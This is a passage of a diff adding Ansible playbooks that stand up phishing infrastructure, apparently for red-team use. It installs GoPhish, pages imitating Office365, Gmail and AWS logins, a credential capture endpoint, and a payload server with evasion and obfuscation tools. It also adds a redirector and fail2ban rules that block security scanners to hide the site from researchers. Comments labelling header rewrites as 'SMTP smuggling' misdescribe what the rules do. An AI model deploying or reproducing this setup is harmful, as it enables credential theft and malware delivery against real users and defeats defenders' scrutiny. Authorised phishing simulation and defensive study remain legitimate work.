- { regexp: '^Selector', line: "Selector mail" }
|
||||
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
- { regexp: '^Syslog', line: "Syslog yes" }
|
||||
- { regexp: '^UMask', line: "UMask 002" }
|
||||
- { regexp: '^Mode', line: "Mode sv" }
|
||||
|
||||
- name: Create DKIM directory
|
||||
file:
|
||||
path: /etc/opendkim/keys/{{ domain }}
|
||||
state: directory
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0700
|
||||
|
||||
- name: Generate DKIM keys
|
||||
command: >
|
||||
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
||||
args:
|
||||
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||
|
||||
- name: Set permissions for DKIM keys
|
||||
file:
|
||||
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0600
|
||||
|
||||
- name: Configure OpenDKIM TrustedHosts
|
||||
copy:
|
||||
content: |
|
||||
127.0.0.1
|
||||
::1
|
||||
localhost
|
||||
{{ domain }}
|
||||
dest: /etc/opendkim/TrustedHosts
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0644
|
||||
|
||||
- name: Enable submission port (587) in master.cf
|
||||
blockinfile:
|
||||
path: /etc/postfix/master.cf
|
||||
insertafter: '^#submission'
|
||||
block: |
|
||||
submission inet n - y - - smtpd
|
||||
-o syslog_name=postfix/submission
|
||||
-o smtpd_tls_security_level=encrypt
|
||||
-o smtpd_sasl_auth_enable=yes
|
||||
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||
|
||||
- name: Configure Dovecot for Postfix SASL
|
||||
blockinfile:
|
||||
path: /etc/dovecot/conf.d/10-master.conf
|
||||
insertafter: '^service auth {'
|
||||
block: |
|
||||
# Postfix smtp-auth
|
||||
unix_listener /var/spool/postfix/private/auth {
|
||||
mode = 0660
|
||||
user = postfix
|
||||
group = postfix
|
||||
}
|
||||
|
||||
- name: Set Dovecot auth_mechanisms
|
||||
lineinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
regexp: '^auth_mechanisms'
|
||||
line: 'auth_mechanisms = plain login'
|
||||
|
||||
- name: Create Dovecot password file for SASL authentication
|
||||
file:
|
||||
path: /etc/dovecot/passwd
|
||||
state: touch
|
||||
mode: '0600'
|
||||
owner: dovecot
|
||||
group: dovecot
|
||||
|
||||
- name: Add SMTP auth user to Dovecot
|
||||
lineinfile:
|
||||
path: /etc/dovecot/passwd
|
||||
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
||||
|
||||
- name: Disable system auth and use passwd-file
|
||||
lineinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
regexp: '^!include auth-system.conf.ext'
|
||||
line: '#!include auth-system.conf.ext'
|
||||
|
||||
- name: Add auth-passwdfile configuration
|
||||
blockinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
insertafter: '^auth_mechanisms ='
|
||||
block: |
|
||||
passdb {
|
||||
driver = passwd-file
|
||||
args = scheme=sha512_crypt /etc/dovecot/passwd
|
||||
}
|
||||
userdb {
|
||||
driver = static
|
||||
args = uid=vmail gid=vmail home=/var/vmail/%u
|
||||
}
|
||||
|
||||
- name: Create vmail group
|
||||
group:
|
||||
name: vmail
|
||||
gid: 5000
|
||||
state: present
|
||||
|
||||
- name: Create vmail user
|
||||
user:
|
||||
name: vmail
|
||||
uid: 5000
|
||||
group: vmail
|
||||
create_home: no
|
||||
|
||||
- name: Create vmail directory structure
|
||||
file:
|
||||
path: /var/vmail
|
||||
state: directory
|
||||
owner: vmail
|
||||
group: vmail
|
||||
mode: 0700
|
||||
|
||||
- name: Restart Postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: Restart Dovecot
|
||||
service:
|
||||
name: dovecot
|
||||
state: restarted
|
||||
@@ -0,0 +1,151 @@
|
||||
---
|
||||
# Configure MTA Front server for email relay and SMTP smuggling
|
||||
|
||||
- name: Update system packages
|
||||
apt:
|
||||
update_cache: yes
|
||||
upgrade: dist
|
||||
|
||||
- name: Install MTA packages
|
||||
apt:
|
||||
name:
|
||||
- postfix
|
||||
- postfix-pcre
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- dnsutils
|
||||
- swaks
|
||||
- telnet
|
||||
state: present
|
||||
|
||||
- name: Configure Postfix for MTA fronting
|
||||
template:
|
||||
src: "../templates/phishing/postfix-mta-front.j2"
|
||||
dest: /etc/postfix/main.cf
|
||||
backup: yes
|
||||
notify: restart postfix
|
||||
|
||||
- name: Configure Postfix master.cf for advanced relaying
|
||||
blockinfile:
|
||||
path: /etc/postfix/master.cf
|
||||
block: |
|
||||
# SMTP smuggling and advanced relay configurations
|
||||
587 inet n - y - - smtpd
|
||||
-o syslog_name=postfix/submission
|
||||
-o smtpd_tls_security_level=encrypt
|
||||
-o smtpd_sasl_auth_enable=yes
|
||||
-o smtpd_tls_wrappermode=no
|
||||
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
|
||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||
-o milter_macro_daemon_name=ORIGINATING
|
||||
|
||||
# SMTP smuggling support
|
||||
cleanup unix n - y - 0 cleanup
|
||||
-o header_checks=pcre:/etc/postfix/header_checks
|
||||
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
|
||||
|
||||
- name: Create SMTP smuggling header checks
|
||||
copy:
|
||||
dest: /etc/postfix/header_checks
|
||||
content: |
|
||||
# SMTP smuggling techniques
|
||||
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
|
||||
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
|
||||
mode: '0644'
|
||||
notify:
|
||||
- reload postfix
|
||||
- postmap header_checks
|
||||
|
||||
- name: Create nested header checks for advanced smuggling
|
||||
copy:
|
||||
dest: /etc/postfix/nested_header_checks
|
||||
content: |
|
||||
# Advanced SMTP smuggling patterns
|
||||
/^\s*<script/i IGNORE
|
||||
/^\s*<iframe/i IGNORE
|
||||
mode: '0644'
|
||||
notify:
|
||||
- reload postfix
|
||||
- postmap nested_header_checks
|
||||
|
||||
- name: Configure DKIM for domain reputation
|
||||
include_tasks: ../tasks/configure_mail.yml
|
||||
|
||||
- name: Create relay authentication
|
||||
copy:
|
||||
dest: /etc/postfix/sasl_passwd
|
||||
content: |
|
||||
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
notify:
|
||||
- postmap sasl_passwd
|
||||
- restart postfix
|
||||
|
||||
- name: Configure transport maps for backend routing
|
||||
copy:
|
||||
dest: /etc/postfix/transport
|
||||
content: |
|
||||
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||
mode: '0644'
|
||||
notify:
|
||||
- postmap transport
|
||||
- restart postfix
|
||||
|
||||
- name: Install Python SMTP testing tools
|
||||
pip:
|
||||
name:
|
||||
- smtplib-extended
|
||||
- email-validator
|
||||
- faker
|
||||
state: present
|
||||
|
||||
- name: Create SMTP smuggling test script
|
||||
template:
|
||||
src: "../templates/phishing/smtp-smuggling-test.py.j2"
|
||||
dest: /root/Tools/smtp-smuggling-test.py
|
||||
mode: '0755'
|
||||
|
||||
- name: Create email reputation monitoring script
|
||||
template:
|
||||
src: "../templates/phishing/reputation-monitor.sh.j2"
|
||||
dest: /root/Tools/reputation-monitor.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up log monitoring for deliverability
|
||||
cron:
|
||||
name: "Monitor email deliverability"
|
||||
minute: "*/15"
|
||||
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
|
||||
|
||||
handlers:
|
||||
- name: restart postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: reload postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: reloaded
|
||||
|
||||
- name: postmap header_checks
|
||||
command: postmap /etc/postfix/header_checks
|
||||
|
||||
- name: postmap nested_header_checks
|
||||
command: postmap /etc/postfix/nested_header_checks
|
||||
|
||||
- name: postmap sasl_passwd
|
||||
command: postmap /etc/postfix/sasl_passwd
|
||||
|
||||
- name: postmap transport
|
||||
command: postmap /etc/postfix/transport
|
||||
@@ -0,0 +1,89 @@
|
||||
---
|
||||
# Configure payload redirector for hosting and delivering payloads
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/payloads
|
||||
- /var/www/payloads/windows
|
||||
- /var/www/payloads/linux
|
||||
- /var/www/payloads/macos
|
||||
- /var/www/payloads/docs
|
||||
|
||||
- name: Configure NGINX for payload delivery
|
||||
template:
|
||||
src: "../templates/phishing/nginx-payload-redirector.j2"
|
||||
dest: /etc/nginx/sites-available/payloads
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable payload site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/payloads
|
||||
dest: /etc/nginx/sites-enabled/payloads
|
||||
state: link
|
||||
|
||||
- name: Create payload sync script
|
||||
template:
|
||||
src: "../templates/phishing/sync_payloads.sh.j2"
|
||||
dest: /root/Tools/sync_payloads.sh
|
||||
mode: '0700'
|
||||
|
||||
- name: Set up payload sync timer
|
||||
block:
|
||||
- name: Create systemd service
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/sync_payloads.sh
|
||||
User=root
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
dest: /etc/systemd/system/payload-sync.service
|
||||
|
||||
- name: Create systemd timer
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=15min
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
dest: /etc/systemd/system/payload-sync.timer
|
||||
|
||||
- name: Enable and start timer
|
||||
systemd:
|
||||
name: payload-sync.timer
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Configure firewall rules
|
||||
include_tasks: security_hardening.yml
|
||||
vars:
|
||||
server_role: "payload_redirector"
|
||||
@@ -0,0 +1,78 @@
|
||||
---
|
||||
# Configure payload server for creating and hosting malicious payloads
|
||||
|
||||
- name: Install payload generation tools
|
||||
apt:
|
||||
name:
|
||||
- mingw-w64
|
||||
- golang
|
||||
- python3-pip
|
||||
- upx-ucl
|
||||
- osslsigncode
|
||||
- mono-complete
|
||||
- wine64
|
||||
- wine32
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
loop:
|
||||
- /root/Tools/payloads
|
||||
- /root/Tools/payloads/templates
|
||||
- /root/Tools/payloads/output
|
||||
- /root/Tools/payloads/scripts
|
||||
|
||||
- name: Install Python payload tools
|
||||
pip:
|
||||
name:
|
||||
- pycryptodome
|
||||
- pyinstaller
|
||||
- py2exe
|
||||
state: present
|
||||
|
||||
- name: Clone payload generation tools
|
||||
git:
|
||||
repo: "{{ item.repo }}"
|
||||
dest: "{{ item.dest }}"
|
||||
loop:
|
||||
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
|
||||
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
|
||||
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
|
||||
|
||||
- name: Build Go tools
|
||||
shell: |
|
||||
cd {{ item }} && go build
|
||||
args:
|
||||
creates: "{{ item }}/{{ item | basename }}"
|
||||
loop:
|
||||
- /root/Tools/go-donut
|
||||
- /root/Tools/ScareCrow
|
||||
|
||||
- name: Deploy payload generation scripts
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0700'
|
||||
loop:
|
||||
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
|
||||
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
|
||||
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
|
||||
|
||||
- name: Create payload hosting service
|
||||
template:
|
||||
src: "../templates/phishing/payload-server.service.j2"
|
||||
dest: /etc/systemd/system/payload-server.service
|
||||
mode: '0644'
|
||||
|
||||
- name: Start payload server
|
||||
systemd:
|
||||
name: payload-server
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
@@ -0,0 +1,157 @@
|
||||
---
|
||||
# Configure phishing redirector with advanced evasion techniques
|
||||
|
||||
- name: Install packages for phishing redirector
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- nginx-extras
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- socat
|
||||
- netcat-openbsd
|
||||
- jq
|
||||
- curl
|
||||
- geoip-database
|
||||
- libgeoip1
|
||||
- php-fpm
|
||||
- php-geoip
|
||||
state: present
|
||||
|
||||
- name: Configure advanced nginx for phishing redirector
|
||||
template:
|
||||
src: "../templates/phishing/nginx-phishing-redirector.j2"
|
||||
dest: /etc/nginx/sites-available/phishing-redirector
|
||||
mode: '0644'
|
||||
notify: restart nginx
|
||||
|
||||
- name: Enable phishing redirector site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing-redirector
|
||||
dest: /etc/nginx/sites-enabled/phishing-redirector
|
||||
state: link
|
||||
notify: restart nginx
|
||||
|
||||
- name: Remove default nginx site
|
||||
file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
notify: restart nginx
|
||||
|
||||
- name: Create legitimate website content
|
||||
template:
|
||||
src: "../templates/phishing/legitimate-website.html.j2"
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
|
||||
- name: Create robots.txt for SEO legitimacy
|
||||
copy:
|
||||
dest: /var/www/html/robots.txt
|
||||
content: |
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
|
||||
|
||||
- name: Create sitemap for legitimacy
|
||||
template:
|
||||
src: "../templates/phishing/sitemap.xml.j2"
|
||||
dest: /var/www/html/sitemap.xml
|
||||
mode: '0644'
|
||||
|
||||
- name: Install MaxMind GeoIP for location-based filtering
|
||||
get_url:
|
||||
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
|
||||
dest: /tmp/geoip.tar.gz
|
||||
when: maxmind_license_key is defined
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create security research filtering script
|
||||
template:
|
||||
src: "../templates/phishing/security-filter.lua.j2"
|
||||
dest: /etc/nginx/security-filter.lua
|
||||
mode: '0644'
|
||||
|
||||
- name: Configure nginx stream module for advanced traffic analysis
|
||||
template:
|
||||
src: "../templates/phishing/stream-analysis.conf.j2"
|
||||
dest: /etc/nginx/modules-enabled/stream-analysis.conf
|
||||
mode: '0644'
|
||||
|
||||
- name: Create phishing campaign analytics
|
||||
template:
|
||||
src: "../templates/phishing/analytics.js.j2"
|
||||
dest: /var/www/html/analytics.js
|
||||
mode: '0644'
|
||||
|
||||
- name: Set up legitimate SSL certificate
|
||||
shell: |
|
||||
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
|
||||
--non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create fail2ban configuration for suspicious activity
|
||||
copy:
|
||||
dest: /etc/fail2ban/jail.d/phishing-protection.conf
|
||||
content: |
|
||||
[phishing-scanner-protection]
|
||||
enabled = true
|
||||
port = 80,443
|
||||
filter = phishing-scanner
|
||||
logpath = /var/log/nginx/access.log
|
||||
maxretry = 3
|
||||
bantime = 3600
|
||||
findtime = 300
|
||||
|
||||
- name: Create fail2ban filter for security tools
|
||||
copy:
|
||||
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
|
||||
content: |
|
||||
[Definition]
|
||||
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
|
||||
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
|
||||
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
|
||||
ignoreregex =
|
||||
|
||||
- name: Start and enable fail2ban
|
||||
systemd:
|
||||
name: fail2ban
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Create traffic monitoring script
|
||||
template:
|
||||
src: "../templates/phishing/traffic-monitor.sh.j2"
|
||||
dest: /root/Tools/traffic-monitor.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up traffic monitoring cron
|
||||
cron:
|
||||
name: "Monitor phishing traffic"
|
||||
minute: "*/5"
|
||||
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
|
||||
|
||||
- name: Configure rate limiting for suspicious patterns
|
||||
blockinfile:
|
||||
path: /etc/nginx/nginx.conf
|
||||
insertbefore: "http {"
|
||||
block: |
|
||||
# Rate limiting zones
|
||||
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
|
||||
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
|
||||
|
||||
# GeoIP configuration
|
||||
geoip_country /usr/share/GeoIP/GeoIP.dat;
|
||||
map $geoip_country_code $allowed_country {
|
||||
default 1;
|
||||
CN 0;
|
||||
RU 0;
|
||||
KP 0;
|
||||
}
|
||||
|
||||
handlers:
|
||||
- name: restart nginx
|
||||
service:
|
||||
name: nginx
|
||||
state: restarted
|
||||
@@ -0,0 +1,296 @@
|
||||
---
|
||||
# Common tasks for configuring advanced phishing server
|
||||
# Supports both red team and FedRAMP compliance modes
|
||||
|
||||
- name: Update system packages
|
||||
apt:
|
||||
update_cache: yes
|
||||
upgrade: dist
|
||||
|
||||
- name: Install base packages for phishing server
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- postfix
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- sqlite3
|
||||
- git
|
||||
- curl
|
||||
- wget
|
||||
- jq
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- nodejs
|
||||
- npm
|
||||
- php-fpm
|
||||
- php-sqlite3
|
||||
- php-curl
|
||||
- php-json
|
||||
- swaks
|
||||
- dnsutils
|
||||
- net-tools
|
||||
- fail2ban
|
||||
state: present
|
||||
|
||||
- name: Create phishing tools directory
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools/phishing
|
||||
- /root/Tools/phishing/templates
|
||||
- /root/Tools/phishing/campaigns
|
||||
- /root/Tools/phishing/logs
|
||||
- /var/www/phishing
|
||||
- /var/www/phishing/assets
|
||||
- /var/www/phishing/api
|
||||
|
||||
- name: Set up GoPhish directory
|
||||
file:
|
||||
path: /root/Tools/gophish
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Download latest GoPhish release
|
||||
shell: |
|
||||
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
|
||||
curl -L "$LATEST_URL" -o /tmp/gophish.zip
|
||||
unzip /tmp/gophish.zip -d /root/Tools/gophish
|
||||
chmod +x /root/Tools/gophish/gophish
|
||||
rm -f /tmp/gophish.zip
|
||||
args:
|
||||
creates: /root/Tools/gophish/gophish
|
||||
|
||||
- name: Create advanced GoPhish configuration
|
||||
template:
|
||||
src: "../templates/advanced-gophish-config.j2"
|
||||
dest: "/root/Tools/gophish/config.json"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create GoPhish systemd service
|
||||
template:
|
||||
src: "../templates/gophish.service.j2"
|
||||
dest: "/etc/systemd/system/gophish.service"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure Postfix for outbound email
|
||||
template:
|
||||
src: "../templates/postfix-phishing.conf.j2"
|
||||
dest: "/etc/postfix/main.cf"
|
||||
backup: yes
|
||||
notify: restart postfix
|
||||
|
||||
- name: Configure OpenDKIM for email authentication
|
||||
template:
|
||||
src: "../templates/opendkim-phishing.conf.j2"
|
||||
dest: "/etc/opendkim.conf"
|
||||
backup: yes
|
||||
notify: restart opendkim
|
||||
|
||||
- name: Create DKIM keys directory
|
||||
file:
|
||||
path: "/etc/opendkim/keys/{{ phishing_domain }}"
|
||||
state: directory
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: '0700'
|
||||
|
||||
- name: Generate DKIM keys
|
||||
command: >
|
||||
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
|
||||
-d {{ phishing_domain }} -s phishing
|
||||
args:
|
||||
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||
|
||||
- name: Set DKIM key permissions
|
||||
file:
|
||||
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: '0600'
|
||||
|
||||
- name: Create phishing landing page templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
with_items:
|
||||
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
|
||||
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
|
||||
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
|
||||
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
|
||||
|
||||
- name: Create credential capture API
|
||||
template:
|
||||
src: "../templates/credential-capture-api.php.j2"
|
||||
dest: "/var/www/phishing/api/capture.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create tracking pixel endpoint
|
||||
template:
|
||||
src: "../templates/tracking-pixel.php.j2"
|
||||
dest: "/var/www/phishing/track.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure Nginx for phishing sites
|
||||
template:
|
||||
src: "../templates/nginx-phishing.conf.j2"
|
||||
dest: "/etc/nginx/sites-available/phishing"
|
||||
mode: '0644'
|
||||
notify: reload nginx
|
||||
|
||||
- name: Enable phishing site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing
|
||||
dest: /etc/nginx/sites-enabled/phishing
|
||||
state: link
|
||||
notify: reload nginx
|
||||
|
||||
- name: Create phishing campaign management scripts
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
|
||||
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
|
||||
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
|
||||
|
||||
- name: Create database for tracking
|
||||
shell: |
|
||||
sqlite3 /root/Tools/phishing/tracking.db << EOF
|
||||
CREATE TABLE IF NOT EXISTS email_opens (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT NOT NULL,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS link_clicks (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT NOT NULL,
|
||||
link_url TEXT NOT NULL,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS credential_submissions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT,
|
||||
username TEXT,
|
||||
password_hash TEXT,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT,
|
||||
additional_data TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS campaigns (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
template TEXT NOT NULL,
|
||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
status TEXT DEFAULT 'active',
|
||||
target_count INTEGER DEFAULT 0,
|
||||
opened_count INTEGER DEFAULT 0,
|
||||
clicked_count INTEGER DEFAULT 0,
|
||||
submitted_count INTEGER DEFAULT 0
|
||||
);
|
||||
EOF
|
||||
args:
|
||||
creates: /root/Tools/phishing/tracking.db
|
||||
|
||||
- name: Set database permissions
|
||||
file:
|
||||
path: /root/Tools/phishing/tracking.db
|
||||
owner: www-data
|
||||
group: www-data
|
||||
mode: '0644'
|
||||
|
||||
- name: Install Python dependencies for advanced features
|
||||
pip:
|
||||
name:
|
||||
- requests
|
||||
- beautifulsoup4
|
||||
- lxml
|
||||
- flask
|
||||
- flask-cors
|
||||
- dnspython
|
||||
- python-whois
|
||||
- selenium
|
||||
- fake-useragent
|
||||
state: present
|
||||
|
||||
- name: Create SSL certificate setup script
|
||||
template:
|
||||
src: "../templates/setup-phishing-ssl.sh.j2"
|
||||
dest: "/root/Tools/phishing/setup-ssl.sh"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create domain reputation checker
|
||||
template:
|
||||
src: "../templates/domain-reputation.py.j2"
|
||||
dest: "/root/Tools/phishing/check-reputation.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Start and enable services
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
with_items:
|
||||
- postfix
|
||||
- opendkim
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
- gophish
|
||||
|
||||
handlers:
|
||||
- name: restart postfix
|
||||
systemd:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: restart opendkim
|
||||
systemd:
|
||||
name: opendkim
|
||||
state: restarted
|
||||
|
||||
- name: reload nginx
|
||||
systemd:
|
||||
name: nginx
|
||||
state: reloaded
|
||||
@@ -0,0 +1,85 @@
|
||||
---
|
||||
# Configure phishing web server with landing pages and credential capture
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- php-fpm
|
||||
- php-json
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create web directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/phishing
|
||||
- /var/www/phishing/templates
|
||||
- /var/www/phishing/static
|
||||
- /var/www/phishing/captures
|
||||
- /var/private/phishing_creds
|
||||
|
||||
- name: Deploy phishing templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
|
||||
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
|
||||
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
|
||||
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
|
||||
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
|
||||
|
||||
- name: Deploy credential capture script
|
